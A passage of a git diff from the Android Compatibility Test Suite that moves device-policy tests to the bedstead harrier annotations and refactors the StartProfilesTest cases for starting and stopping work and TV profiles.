+++ b/tests/camera/src/android/hardware/camera2/cts/testcases/Camera2AndroidTestRule.java
@@ -100,6 +100,10 @@
         mContext = context;
     }
 
+    public String getDebugFileNameBase() {
+        return mDebugFileNameBase;
+    }
+
     public Context getContext() {
         return mContext;
     }
diff --git a/tests/devicepolicy/AndroidTest.xml b/tests/devicepolicy/AndroidTest.xml
index 534ce53..2cff288 100644
--- a/tests/devicepolicy/AndroidTest.xml
+++ b/tests/devicepolicy/AndroidTest.xml
@@ -28,8 +28,8 @@
     </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.devicepolicy.cts" />
-        <option name="exclude-annotation" value="com.android.compatibility.common.util.enterprise.annotations.RequireRunOnWorkProfile" />
-        <option name="exclude-annotation" value="com.android.compatibility.common.util.enterprise.annotations.RequireRunOnSecondaryUser" />
+        <option name="exclude-annotation" value="com.android.bedstead.harrier.annotations.RequireRunOnWorkProfile" />
+        <option name="exclude-annotation" value="com.android.bedstead.harrier.annotations.RequireRunOnSecondaryUser" />
         <option name="hidden-api-checks" value="false" />
     </test>
 </configuration>
\ No newline at end of file
diff --git a/tests/devicepolicy/DevicePolicySecondaryUserTest.xml b/tests/devicepolicy/DevicePolicySecondaryUserTest.xml
index 5fa6f0b..798f52e 100644
--- a/tests/devicepolicy/DevicePolicySecondaryUserTest.xml
+++ b/tests/devicepolicy/DevicePolicySecondaryUserTest.xml
@@ -32,7 +32,7 @@
     </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.devicepolicy.cts" />
-        <option name="include-annotation" value="com.android.compatibility.common.util.enterprise.annotations.RequireRunOnSecondaryUser" />
+        <option name="include-annotation" value="com.android.bedstead.harrier.annotations.RequireRunOnSecondaryUser" />
         <!--        <option name="instrumentation-arg" key="skip-test-teardown" value="true" />-->
         <option name="hidden-api-checks" value="false" />
     </test>
diff --git a/tests/devicepolicy/DevicePolicyWorkProfileTest.xml b/tests/devicepolicy/DevicePolicyWorkProfileTest.xml
index aa882be..1e45241 100644
--- a/tests/devicepolicy/DevicePolicyWorkProfileTest.xml
+++ b/tests/devicepolicy/DevicePolicyWorkProfileTest.xml
@@ -31,7 +31,7 @@
     </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.devicepolicy.cts" />
-        <option name="include-annotation" value="com.android.compatibility.common.util.enterprise.annotations.RequireRunOnWorkProfile" />
+        <option name="include-annotation" value="com.android.bedstead.harrier.annotations.RequireRunOnWorkProfile" />
 <!--        <option name="instrumentation-arg" key="skip-test-teardown" value="true" />-->
         <option name="hidden-api-checks" value="false" />
     </test>
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/CrossProfileAppsTest.java b/tests/devicepolicy/src/android/devicepolicy/cts/CrossProfileAppsTest.java
index a80a32b..e2cd1db 100644
--- a/tests/devicepolicy/src/android/devicepolicy/cts/CrossProfileAppsTest.java
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/CrossProfileAppsTest.java
@@ -16,7 +16,7 @@
 
 package android.devicepolicy.cts;
 
-import static com.android.compatibility.common.util.enterprise.DeviceState.UserType.PRIMARY_USER;
+import static com.android.bedstead.harrier.DeviceState.UserType.PRIMARY_USER;
 
 import static com.google.common.truth.Truth.assertThat;
 
@@ -39,13 +39,13 @@
 import androidx.test.uiautomator.UiObject2;
 import androidx.test.uiautomator.Until;
 
-import com.android.compatibility.common.util.enterprise.DeviceState;
-import com.android.compatibility.common.util.enterprise.annotations.EnsureHasSecondaryUser;
-import com.android.compatibility.common.util.enterprise.annotations.EnsureHasWorkProfile;
-import com.android.compatibility.common.util.enterprise.annotations.Postsubmit;
-import com.android.compatibility.common.util.enterprise.annotations.RequireRunOnPrimaryUser;
-import com.android.compatibility.common.util.enterprise.annotations.RequireRunOnSecondaryUser;
-import com.android.compatibility.common.util.enterprise.annotations.RequireRunOnWorkProfile;
+import com.android.bedstead.harrier.DeviceState;
+import com.android.bedstead.harrier.annotations.EnsureHasSecondaryUser;
+import com.android.bedstead.harrier.annotations.EnsureHasWorkProfile;
+import com.android.bedstead.harrier.annotations.Postsubmit;
+import com.android.bedstead.harrier.annotations.RequireRunOnPrimaryUser;
+import com.android.bedstead.harrier.annotations.RequireRunOnSecondaryUser;
+import com.android.bedstead.harrier.annotations.RequireRunOnWorkProfile;
 
 import org.junit.ClassRule;
 import org.junit.Ignore;
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/DevicePolicyManagerTest.java b/tests/devicepolicy/src/android/devicepolicy/cts/DevicePolicyManagerTest.java
index 14ed51d..e4eb89d 100644
--- a/tests/devicepolicy/src/android/devicepolicy/cts/DevicePolicyManagerTest.java
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/DevicePolicyManagerTest.java
@@ -40,9 +40,9 @@
 import androidx.test.platform.app.InstrumentationRegistry;
 
 import com.android.compatibility.common.util.SystemUtil;
-import com.android.compatibility.common.util.enterprise.DeviceState;
+import com.android.bedstead.harrier.DeviceState;
 import com.android.bedstead.harrier.annotations.RequireFeatures;
-import com.android.compatibility.common.util.enterprise.annotations.RequireRunOnPrimaryUser;
+import com.android.bedstead.harrier.annotations.RequireRunOnPrimaryUser;
 
 import org.junit.ClassRule;
 import org.junit.Rule;
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/LauncherAppsTests.java b/tests/devicepolicy/src/android/devicepolicy/cts/LauncherAppsTests.java
index 6d8df49..46cf1ec 100644
--- a/tests/devicepolicy/src/android/devicepolicy/cts/LauncherAppsTests.java
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/LauncherAppsTests.java
@@ -23,13 +23,10 @@
 import android.content.Intent;
 import android.content.pm.LauncherApps;
 import android.os.Process;
-import android.os.UserHandle;
 
 import androidx.test.core.app.ApplicationProvider;
 import androidx.test.ext.junit.runners.AndroidJUnit4;
 
-import com.android.compatibility.common.util.enterprise.annotations.RequireRunOnPrimaryUser;
-
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/NegativeCallAuthorizationTest.java b/tests/devicepolicy/src/android/devicepolicy/cts/NegativeCallAuthorizationTest.java
index e75e529..53b58e5 100644
--- a/tests/devicepolicy/src/android/devicepolicy/cts/NegativeCallAuthorizationTest.java
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/NegativeCallAuthorizationTest.java
@@ -26,7 +26,7 @@
 import androidx.test.ext.junit.runners.AndroidJUnit4;
 import androidx.test.filters.SmallTest;
 
-import com.android.compatibility.common.util.enterprise.DeviceState;
+import com.android.bedstead.harrier.DeviceState;
 import com.android.bedstead.harrier.annotations.RequireFeatures;
 
 import org.junit.ClassRule;
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/StartProfilesTest.java b/tests/devicepolicy/src/android/devicepolicy/cts/StartProfilesTest.java
index 2b7679d..bae83f6 100644
--- a/tests/devicepolicy/src/android/devicepolicy/cts/StartProfilesTest.java
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/StartProfilesTest.java
@@ -19,19 +19,14 @@
 import static com.google.common.truth.Truth.assertThat;
 import static com.google.common.truth.Truth.assertWithMessage;
 
-import static org.junit.Assert.fail;
 import static org.junit.Assume.assumeTrue;
-
-import static java.nio.charset.StandardCharsets.UTF_8;
+import static org.testng.Assert.assertThrows;
 
 import android.app.ActivityManager;
 import android.app.UiAutomation;
-import android.content.BroadcastReceiver;
 import android.content.Context;
 import android.content.Intent;
-import android.content.IntentFilter;
 import android.content.pm.PackageManager;
-import android.os.ParcelFileDescriptor;
 import android.os.UserHandle;
 import android.os.UserManager;
 import android.util.ArraySet;
@@ -40,11 +35,14 @@
 import androidx.test.ext.junit.runners.AndroidJUnit4;
 import androidx.test.platform.app.InstrumentationRegistry;
 
-import com.android.compatibility.common.util.enterprise.DeviceState;
-import com.android.compatibility.common.util.enterprise.annotations.EnsureHasSecondaryUser;
-import com.android.compatibility.common.util.enterprise.annotations.EnsureHasWorkProfile;
+import com.android.bedstead.harrier.DeviceState;
+import com.android.bedstead.harrier.annotations.EnsureHasSecondaryUser;
+import com.android.bedstead.harrier.annotations.EnsureHasWorkProfile;
+import com.android.bedstead.harrier.annotations.Postsubmit;
 import com.android.bedstead.harrier.annotations.RequireFeatures;
-import com.android.compatibility.common.util.enterprise.annotations.RequireRunOnPrimaryUser;
+import com.android.bedstead.harrier.annotations.RequireRunOnPrimaryUser;
+import com.android.bedstead.nene.TestApis;
+import com.android.compatibility.common.util.BlockingBroadcastReceiver;
 
 import org.junit.After;
 import org.junit.ClassRule;
@@ -52,213 +50,201 @@
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
-import java.io.FileInputStream;
-import java.io.InputStream;
-import java.util.NoSuchElementException;
-import java.util.Scanner;
+import java.util.function.Function;
 
 @RunWith(AndroidJUnit4.class)
 public final class StartProfilesTest {
 
-    private static final int USER_START_TIMEOUT_MILLIS = 30 * 1000; // 30 seconds
+    // We set this to 30 seconds because if the total test time goes over 66 seconds then it causes
+    // infrastructure problems
+    private static final long PROFILE_ACCESSIBLE_BROADCAST_TIMEOUT = 30 * 1000;
 
-    private static final Context CONTEXT = ApplicationProvider.getApplicationContext();
-    private static final UserManager USER_MANAGER = CONTEXT.getSystemService(UserManager.class);
+    private static final Context sContext = ApplicationProvider.getApplicationContext();
+    private static final UserManager sUserManager = sContext.getSystemService(UserManager.class);
+    private static final ActivityManager sActivityManager =
+            sContext.getSystemService(ActivityManager.class);
 
-    private BroadcastReceiver mBroadcastReceiver;
     private UiAutomation mUiAutomation =
             InstrumentationRegistry.getInstrumentation().getUiAutomation();
-    private final Object mUserStartStopLock = new Object();
-    private boolean mBroadcastReceived = false;
+    private final TestApis mTestApis = new TestApis();
 
     @ClassRule @Rule
-    public static final DeviceState DEVICE_STATE = new DeviceState();
+    public static final DeviceState sDeviceState = new DeviceState();
 
     @After
     public void tearDown() {
         mUiAutomation.dropShellPermissionIdentity();
     }
 
-    //TODO: b/171565394 - use DEVICE_STATE.registerBroadcastReceiver when it supports extra
-    // filters (EXTRA_USER)
-    private void registerBroadcastReceiver(final UserHandle userHandle) {
-        mBroadcastReceiver = new BroadcastReceiver() {
-            @Override
-            public void onReceive(Context context, Intent intent) {
-                switch (intent.getAction()) {
-                    case Intent.ACTION_PROFILE_ACCESSIBLE:
-                    case Intent.ACTION_PROFILE_INACCESSIBLE:
-                        if (userHandle.equals(intent.getParcelableExtra(Intent.EXTRA_USER))) {
-                            synchronized (mUserStartStopLock) {
-                                mBroadcastReceived = true;
-                                mUserStartStopLock.notifyAll();
-                            }
-                        }
-                        break;
-                }
-            }
-        };
-
-        IntentFilter filter = new IntentFilter(Intent.ACTION_PROFILE_ACCESSIBLE);
-        filter.addAction(Intent.ACTION_PROFILE_INACCESSIBLE);
-        CONTEXT.registerReceiver(mBroadcastReceiver, filter);
-    }
-
-    @Test
-    //TODO: b/171565394 - remove after infra. updates
-    @RequireFeatures(PackageManager.FEATURE_MANAGED_USERS)
-    @RequireRunOnPrimaryUser
-    @EnsureHasWorkProfile
-    public void testStartProfile() throws InterruptedException {
-        mUiAutomation.adoptShellPermissionIdentity(
-                "android.permission.INTERACT_ACROSS_USERS_FULL",
-                "android.permission.INTERACT_ACROSS_USERS",
-                "android.permission.CREATE_USERS");
-
-        UserHandle workProfile = DEVICE_STATE.getWorkProfile();
-        registerBroadcastReceiver(workProfile);
-
-        synchronized (mUserStartStopLock) {
-            mUiAutomation.executeShellCommand("am stop-user -f " + workProfile.getIdentifier());
-            mUserStartStopLock.wait(USER_START_TIMEOUT_MILLIS);
-        }
-        assertThat(USER_MANAGER.isUserRunning(workProfile)).isFalse();
-
-        final ActivityManager activityManager = CONTEXT.getSystemService(ActivityManager.class);
-        synchronized (mUserStartStopLock) {
-            assertThat(activityManager.startProfile(workProfile)).isTrue();
-            mUserStartStopLock.wait(USER_START_TIMEOUT_MILLIS);
-        }
-
-        assertThat(USER_MANAGER.isUserRunning(workProfile)).isTrue();
-
-        CONTEXT.unregisterReceiver(mBroadcastReceiver);
+    private Function<Intent, Boolean> userIsEqual(UserHandle userHandle) {
+        return (intent) -> userHandle.equals(intent.getParcelableExtra(Intent.EXTRA_USER));
     }
 
     @Test
     @RequireFeatures(PackageManager.FEATURE_MANAGED_USERS)
     @RequireRunOnPrimaryUser
     @EnsureHasWorkProfile
-    public void testStopProfile() throws InterruptedException {
-        //TODO: b/171565394 - remove after infra supports shell permissions annotation
+    public void startProfile_returnsTrue() {
         mUiAutomation.adoptShellPermissionIdentity(
                 "android.permission.INTERACT_ACROSS_USERS_FULL",
                 "android.permission.INTERACT_ACROSS_USERS",
                 "android.permission.CREATE_USERS");
+        mTestApis.users().find(sDeviceState.getWorkProfile()).stop();
 
-        UserHandle workProfile = DEVICE_STATE.getWorkProfile();
-        registerBroadcastReceiver(workProfile);
-
-        //TODO: b/171565394 - remove after infra. guarantees users are started
-        assertThat(USER_MANAGER.isUserRunning(workProfile)).isTrue();
-
-        final ActivityManager activityManager = CONTEXT.getSystemService(ActivityManager.class);
-        synchronized (mUserStartStopLock) {
-            assertThat(activityManager.stopProfile(workProfile)).isTrue();
-            mUserStartStopLock.wait(USER_START_TIMEOUT_MILLIS);
-        }
-
-        assertThat(USER_MANAGER.isUserRunning(workProfile)).isFalse();
-
-        CONTEXT.unregisterReceiver(mBroadcastReceiver);
-
-        //TODO: b/171565394 - move/remove this when DeviceState impl. state restore (reusing users)
-        //restore started state
-        runCommandWithOutput("am start-user -w " + workProfile.getIdentifier());
+        assertThat(sActivityManager.startProfile(sDeviceState.getWorkProfile())).isTrue();
     }
 
     @Test
     @RequireFeatures(PackageManager.FEATURE_MANAGED_USERS)
     @RequireRunOnPrimaryUser
     @EnsureHasWorkProfile
-    public void testStopAndRestartProfile() throws InterruptedException {
-        //TODO: b/171565394 - remove after infra supports shell permissions annotation
+    public void startProfile_broadcastIsReceived_profileIsStarted() {
         mUiAutomation.adoptShellPermissionIdentity(
                 "android.permission.INTERACT_ACROSS_USERS_FULL",
                 "android.permission.INTERACT_ACROSS_USERS",
                 "android.permission.CREATE_USERS");
+        mTestApis.users().find(sDeviceState.getWorkProfile()).stop();
+        BlockingBroadcastReceiver broadcastReceiver = sDeviceState.registerBroadcastReceiver(
+                Intent.ACTION_PROFILE_ACCESSIBLE, userIsEqual(sDeviceState.getWorkProfile()));
+        sActivityManager.startProfile(sDeviceState.getWorkProfile());
 
-        UserHandle workProfile = DEVICE_STATE.getWorkProfile();
-        registerBroadcastReceiver(workProfile);
+        broadcastReceiver.awaitForBroadcastOrFail();
 
-        //TODO: b/171565394 - remove after infra. guarantees users are started
-        assertThat(USER_MANAGER.isUserRunning(workProfile)).isTrue();
-
-        final ActivityManager activityManager = CONTEXT.getSystemService(ActivityManager.class);
-        synchronized (mUserStartStopLock) {
-            assertThat(activityManager.stopProfile(workProfile)).isTrue();
-            mUserStartStopLock.wait(USER_START_TIMEOUT_MILLIS);
-        }
-        // start profile as soon as ACTION_PROFILE_INACCESSIBLE is received
-        // verify that ACTION_PROFILE_ACCESSIBLE is received if profile is re-started
-        mBroadcastReceived = false;
-        synchronized (mUserStartStopLock) {
-            assertThat(activityManager.startProfile(workProfile)).isTrue();
-            mUserStartStopLock.wait(USER_START_TIMEOUT_MILLIS);
-        }
-
-        assertWithMessage("Expected to receive ACTION_PROFILE_ACCESSIBLE broadcast").that(
-                mBroadcastReceived).isTrue();
-        assertThat(USER_MANAGER.isUserRunning(workProfile)).isTrue();
-
-        CONTEXT.unregisterReceiver(mBroadcastReceiver);
-
-        //TODO: b/171565394 - move/remove this when DeviceState impl. state restore (reusing users)
-        //restore started state
-        runCommandWithOutput("am start-user -w " + workProfile.getIdentifier());
+        assertThat(sUserManager.isUserRunning(sDeviceState.getWorkProfile())).isTrue();
     }
 
     @Test
     @RequireFeatures(PackageManager.FEATURE_MANAGED_USERS)
     @RequireRunOnPrimaryUser
     @EnsureHasWorkProfile
-    public void testStopAndRestartProfile_dontWaitForBroadcast() throws InterruptedException {
-        //TODO: b/171565394 - remove after infra supports shell permissions annotation
+    public void stopProfile_returnsTrue() {
+        // TODO(b/171565394): remove after infra supports shell permissions annotation
         mUiAutomation.adoptShellPermissionIdentity(
                 "android.permission.INTERACT_ACROSS_USERS_FULL",
                 "android.permission.INTERACT_ACROSS_USERS",
                 "android.permission.CREATE_USERS");
+        mTestApis.users().find(sDeviceState.getWorkProfile()).start();
 
-        UserHandle workProfile = DEVICE_STATE.getWorkProfile();
-        registerBroadcastReceiver(workProfile);
+        try {
+            assertThat(sActivityManager.stopProfile(sDeviceState.getWorkProfile())).isTrue();
+        } finally {
+            // TODO(b/171565394): Remove once teardown is done for us
+            mTestApis.users().find(sDeviceState.getWorkProfile()).start();
+        }
+    }
 
-        //TODO: b/171565394 - remove after infra. guarantees users are started
-        assertThat(USER_MANAGER.isUserRunning(workProfile)).isTrue();
+    @Test
+    @RequireFeatures(PackageManager.FEATURE_MANAGED_USERS)
+    @RequireRunOnPrimaryUser
+    @EnsureHasWorkProfile
+    public void stopProfile_profileIsStopped() {
+        // TODO(b/171565394): remove after infra supports shell permissions annotation
+        mUiAutomation.adoptShellPermissionIdentity(
+                "android.permission.INTERACT_ACROSS_USERS_FULL",
+                "android.permission.INTERACT_ACROSS_USERS",
+                "android.permission.CREATE_USERS");
+        mTestApis.users().find(sDeviceState.getWorkProfile()).start();
+        BlockingBroadcastReceiver broadcastReceiver = sDeviceState.registerBroadcastReceiver(
+                Intent.ACTION_PROFILE_INACCESSIBLE, userIsEqual(sDeviceState.getWorkProfile()));
 
-        final ActivityManager activityManager = CONTEXT.getSystemService(ActivityManager.class);
+        try {
+            sActivityManager.stopProfile(sDeviceState.getWorkProfile());
+            broadcastReceiver.awaitForBroadcastOrFail();
+
+            assertThat(sUserManager.isUserRunning(sDeviceState.getWorkProfile())).isFalse();
+        } finally {
+            // TODO(b/171565394): Remove once teardown is done for us
+            mTestApis.users().find(sDeviceState.getWorkProfile()).start();
+        }
+    }
+
+    @Test
+    @RequireFeatures(PackageManager.FEATURE_MANAGED_USERS)
+    @RequireRunOnPrimaryUser
+    @EnsureHasWorkProfile
+    public void startUser_immediatelyAfterStopped_profileIsStarted() {
+        // TODO(b/171565394): remove after infra supports shell permissions annotation
+        mUiAutomation.adoptShellPermissionIdentity(
+                "android.permission.INTERACT_ACROSS_USERS_FULL",
+                "android.permission.INTERACT_ACROSS_USERS",
+                "android.permission.CREATE_USERS");
+        mTestApis.users().find(sDeviceState.getWorkProfile()).start();
+        BlockingBroadcastReceiver broadcastReceiver = sDeviceState.registerBroadcastReceiver(
+                Intent.ACTION_PROFILE_INACCESSIBLE, userIsEqual(sDeviceState.getWorkProfile()));
+
+        sActivityManager.stopProfile(sDeviceState.getWorkProfile());
+        broadcastReceiver.awaitForBroadcast();
+
+        try {
+            // start profile as soon as ACTION_PROFILE_INACCESSIBLE is received
+            // verify that ACTION_PROFILE_ACCESSIBLE is received if profile is re-started
+            broadcastReceiver = sDeviceState.registerBroadcastReceiver(
+                    Intent.ACTION_PROFILE_ACCESSIBLE, userIsEqual(sDeviceState.getWorkProfile()));
+            sActivityManager.startProfile(sDeviceState.getWorkProfile());
+            Intent broadcast = broadcastReceiver.awaitForBroadcast();
+
+            assertWithMessage("Expected to receive ACTION_PROFILE_ACCESSIBLE broadcast").that(
+                    broadcast).isNotNull();
+            assertThat(sUserManager.isUserRunning(sDeviceState.getWorkProfile())).isTrue();
+        } finally {
+            // TODO(b/171565394): Remove once teardown is done for us
+            mTestApis.users().find(sDeviceState.getWorkProfile()).start();
+        }
+    }
+
+    @Test
+    @RequireFeatures(PackageManager.FEATURE_MANAGED_USERS)
+    @RequireRunOnPrimaryUser
+    @EnsureHasWorkProfile
+    public void startUser_userIsStopping_profileIsStarted() {
+        // TODO(b/171565394): remove after infra supports shell permissions annotation
+        mUiAutomation.adoptShellPermissionIdentity(
+                "android.permission.INTERACT_ACROSS_USERS_FULL",
+                "android.permission.INTERACT_ACROSS_USERS",
+                "android.permission.CREATE_USERS");
+        mTestApis.users().find(sDeviceState.getWorkProfile()).start();
+
+        // stop and restart profile without waiting for ACTION_PROFILE_INACCESSIBLE broadcast
+        sActivityManager.stopProfile(sDeviceState.getWorkProfile());
+        try {
+            sActivityManager.startProfile(sDeviceState.getWorkProfile());
+
+            assertThat(sUserManager.isUserRunning(sDeviceState.getWorkProfile())).isTrue();
+        } finally {
+            // TODO(b/171565394): Remove once teardown is done for us
+            mTestApis.users().find(sDeviceState.getWorkProfile()).start();
+        }
+    }
+
+    @Test
+    @RequireFeatures(PackageManager.FEATURE_MANAGED_USERS)
+    @RequireRunOnPrimaryUser
+    @EnsureHasWorkProfile
+    @Postsubmit(reason="Slow test due to validating a broadcast isn't received")
+    public void startUser_userIsStopping_noBroadcastIsReceived() {
+        // TODO(b/171565394): remove after infra supports shell permissions annotation
+        mUiAutomation.adoptShellPermissionIdentity(
+                "android.permission.INTERACT_ACROSS_USERS_FULL",
+                "android.permission.INTERACT_ACROSS_USERS",
+                "android.permission.CREATE_USERS");
+        mTestApis.users().find(sDeviceState.getWorkProfile()).start();
+
         // stop and restart profile without waiting for ACTION_PROFILE_INACCESSIBLE broadcast
         // ACTION_PROFILE_ACCESSIBLE should not be received as profile was not fully stopped before
         // restarting
-        assertThat(activityManager.stopProfile(workProfile)).isTrue();
-        mBroadcastReceived = false;
-        synchronized (mUserStartStopLock) {
-            assertThat(activityManager.startProfile(workProfile)).isTrue();
-            mUserStartStopLock.wait(USER_START_TIMEOUT_MILLIS);
-        }
-
-        assertWithMessage("Should have not received ACTION_PROFILE_ACCESSIBLE broadcast").that(
-                mBroadcastReceived).isFalse();
-        assertThat(USER_MANAGER.isUserRunning(workProfile)).isTrue();
-
-        CONTEXT.unregisterReceiver(mBroadcastReceiver);
-
-        //TODO: b/171565394 - move/remove this when DeviceState impl. state restore (reusing users)
-        //restore started state
-        runCommandWithOutput("am start-user -w " + workProfile.getIdentifier());
-    }
-
-    @Test
-    @RequireFeatures(PackageManager.FEATURE_MANAGED_USERS)
-    @RequireRunOnPrimaryUser
-    @EnsureHasWorkProfile
-    public void testStartProfileWithoutPermission_throwsException() {
-        UserHandle workProfile = DEVICE_STATE.getWorkProfile();
-
-        final ActivityManager activityManager = CONTEXT.getSystemService(ActivityManager.class);
+        sActivityManager.stopProfile(sDeviceState.getWorkProfile());
         try {
-            activityManager.startProfile(workProfile);
-            fail("Should have received an exception");
-        } catch (SecurityException expected) {
+            BlockingBroadcastReceiver broadcastReceiver = sDeviceState.registerBroadcastReceiver(
+                    Intent.ACTION_PROFILE_ACCESSIBLE, userIsEqual(sDeviceState.getWorkProfile()));
+            sActivityManager.startProfile(sDeviceState.getWorkProfile());
+
+            Intent broadcast =
+                    broadcastReceiver.awaitForBroadcast(PROFILE_ACCESSIBLE_BROADCAST_TIMEOUT);
+            assertWithMessage("Expected not to receive ACTION_PROFILE_ACCESSIBLE broadcast").that(
+                    broadcast).isNull();
+        } finally {
+            // TODO(b/171565394): Remove once teardown is done for us
+            mTestApis.users().find(sDeviceState.getWorkProfile()).start();
         }
     }
 
@@ -266,140 +252,112 @@
     @RequireFeatures(PackageManager.FEATURE_MANAGED_USERS)
     @RequireRunOnPrimaryUser
     @EnsureHasWorkProfile
-    public void testStopProfileWithoutPermission_throwsException() {
-        UserHandle workProfile = DEVICE_STATE.getWorkProfile();
+    public void startProfile_withoutPermission_throwsException() {
+        assertThrows(SecurityException.class,
+                () -> sActivityManager.startProfile(sDeviceState.getWorkProfile()));
+    }
 
-        final ActivityManager activityManager = CONTEXT.getSystemService(ActivityManager.class);
+    @Test
+    @RequireFeatures(PackageManager.FEATURE_MANAGED_USERS)
+    @RequireRunOnPrimaryUser
+    @EnsureHasWorkProfile
+    public void stopProfile_withoutPermission_throwsException() {
         try {
-            activityManager.stopProfile(workProfile);
-            fail("Should have received an exception");
-        } catch (SecurityException expected) {
+            assertThrows(SecurityException.class,
+                    () -> sActivityManager.stopProfile(sDeviceState.getWorkProfile()));
+        } finally {
+            // TODO(b/171565394): Remove once teardown is done for us
+            mTestApis.users().find(sDeviceState.getWorkProfile()).start();
         }
     }
 
     @Test
     @RequireRunOnPrimaryUser
     @EnsureHasSecondaryUser
-    public void testStartFullUserAsProfile_throwsException() {
+    public void startProfile_startingFullUser_throwsException() {
         mUiAutomation.adoptShellPermissionIdentity(
                 "android.permission.INTERACT_ACROSS_USERS_FULL",
                 "android.permission.INTERACT_ACROSS_USERS",
                 "android.permission.CREATE_USERS");
 
-        UserHandle secondaryUser = DEVICE_STATE.getSecondaryUser();
-
-        final ActivityManager activityManager = CONTEXT.getSystemService(ActivityManager.class);
-        try {
-            activityManager.startProfile(secondaryUser);
-            fail("Should have received an exception");
-        } catch (IllegalArgumentException expected) {
-        }
+        assertThrows(IllegalArgumentException.class,
+                () -> sActivityManager.startProfile(sDeviceState.getSecondaryUser()));
     }
 
     @Test
     @RequireRunOnPrimaryUser
     @EnsureHasSecondaryUser
-    public void testStopFullUserAsProfile_throwsException() {
+    public void stopProfile_stoppingFullUser_throwsException() {
         mUiAutomation.adoptShellPermissionIdentity(
                 "android.permission.INTERACT_ACROSS_USERS_FULL",
                 "android.permission.INTERACT_ACROSS_USERS",
                 "android.permission.CREATE_USERS");
 
-        UserHandle secondaryUser = DEVICE_STATE.getSecondaryUser();
-
-        final ActivityManager activityManager = CONTEXT.getSystemService(ActivityManager.class);
         try {
-            activityManager.stopProfile(secondaryUser);
-            fail("Should have received an exception");
-        } catch (IllegalArgumentException expected) {
+            assertThrows(IllegalArgumentException.class,
+                    () -> sActivityManager.stopProfile(sDeviceState.getSecondaryUser()));
+        } finally {
+            // TODO(b/171565394): Remove once teardown is done for us
+            mTestApis.users().find(sDeviceState.getSecondaryUser()).start();
         }
     }
 
     @Test
     @RequireRunOnPrimaryUser
-    public void testStartTvProfile() throws InterruptedException {
+    public void startProfile_tvProfile_profileIsStarted() {
         mUiAutomation.adoptShellPermissionIdentity(
                 "android.permission.INTERACT_ACROSS_USERS_FULL",
                 "android.permission.INTERACT_ACROSS_USERS",
                 "android.permission.CREATE_USERS");
-
-        //TODO: b/171565394 - migrate to new test annotation for tv profile tests
-        UserHandle tvProfile = createCustomProfile("com.android.tv.profile", false);
+        // TODO(b/171565394): migrate to new test annotation for tv profile tests
+        UserHandle tvProfile = createCustomProfile("com.android.tv.profile");
         assumeTrue(tvProfile != null);
+        try {
+            assertThat(sUserManager.isUserRunning(tvProfile)).isFalse();
+            BlockingBroadcastReceiver broadcastReceiver = sDeviceState.registerBroadcastReceiver(
+                    Intent.ACTION_PROFILE_ACCESSIBLE, userIsEqual(tvProfile));
 
-        registerBroadcastReceiver(tvProfile);
+            assertThat(sActivityManager.startProfile(tvProfile)).isTrue();
+            broadcastReceiver.awaitForBroadcast();
 
-        assertThat(USER_MANAGER.isUserRunning(tvProfile)).isFalse();
-
-        final ActivityManager activityManager = CONTEXT.getSystemService(ActivityManager.class);
-        synchronized (mUserStartStopLock) {
-            assertThat(activityManager.startProfile(tvProfile)).isTrue();
-            mUserStartStopLock.wait(USER_START_TIMEOUT_MILLIS);
+            assertThat(sUserManager.isUserRunning(tvProfile)).isTrue();
+        } finally {
+            mTestApis.users().find(tvProfile).remove();
         }
-
-        assertThat(USER_MANAGER.isUserRunning(tvProfile)).isTrue();
-
-        CONTEXT.unregisterReceiver(mBroadcastReceiver);
-
-        cleanupCustomProfile(tvProfile);
     }
 
     @Test
     @RequireRunOnPrimaryUser
-    public void testStopTvProfile() throws InterruptedException {
+    public void stopProfile_tvProfile_profileIsStopped() {
         mUiAutomation.adoptShellPermissionIdentity(
                 "android.permission.INTERACT_ACROSS_USERS_FULL",
                 "android.permission.INTERACT_ACROSS_USERS",
                 "android.permission.CREATE_USERS");
-
-        //TODO: b/171565394 - migrate to new test annotation for tv profile tests
-        UserHandle tvProfile = createCustomProfile("com.android.tv.profile", true);
+        // TODO(b/171565394): migrate to new test annotation for tv profile tests
+        UserHandle tvProfile = createCustomProfile("com.android.tv.profile");
         assumeTrue(tvProfile != null);
+        mTestApis.users().find(tvProfile).start();
+        BlockingBroadcastReceiver broadcastReceiver = sDeviceState.registerBroadcastReceiver(
+                Intent.ACTION_PROFILE_INACCESSIBLE, userIsEqual(tvProfile));
 
-        registerBroadcastReceiver(tvProfile);
+        try {
+            assertThat(sActivityManager.stopProfile(tvProfile)).isTrue();
+            broadcastReceiver.awaitForBroadcast();
 
-        assertThat(USER_MANAGER.isUserRunning(tvProfile)).isTrue();
-
-        final ActivityManager activityManager = CONTEXT.getSystemService(ActivityManager.class);
-        synchronized (mUserStartStopLock) {
-            assertThat(activityManager.stopProfile(tvProfile)).isTrue();
-            mUserStartStopLock.wait(USER_START_TIMEOUT_MILLIS);
+            assertThat(sUserManager.isUserRunning(tvProfile)).isFalse();
+        } finally {
+            mTestApis.users().find(tvProfile).remove();
         }
-
-        assertThat(USER_MANAGER.isUserRunning(tvProfile)).isFalse();
-
-        CONTEXT.unregisterReceiver(mBroadcastReceiver);
-
-        cleanupCustomProfile(tvProfile);
     }
 
-    private UserHandle createCustomProfile(String profileType, boolean startAfterCreation) {
+    private UserHandle createCustomProfile(String profileType) {
         UserHandle userHandle;
         try {
-            userHandle = CONTEXT.getSystemService(UserManager.class).createProfile(
+            userHandle = sContext.getSystemService(UserManager.class).createProfile(
                     "testProfile", profileType, new ArraySet<>());
-            if (startAfterCreation && userHandle != null) {
-                runCommandWithOutput("am start-user -w " + userHandle.getIdentifier());
-            }
         } catch (NullPointerException e) {
             userHandle = null;
         }
         return userHandle;
     }
-
-    private void cleanupCustomProfile(UserHandle userHandle) {
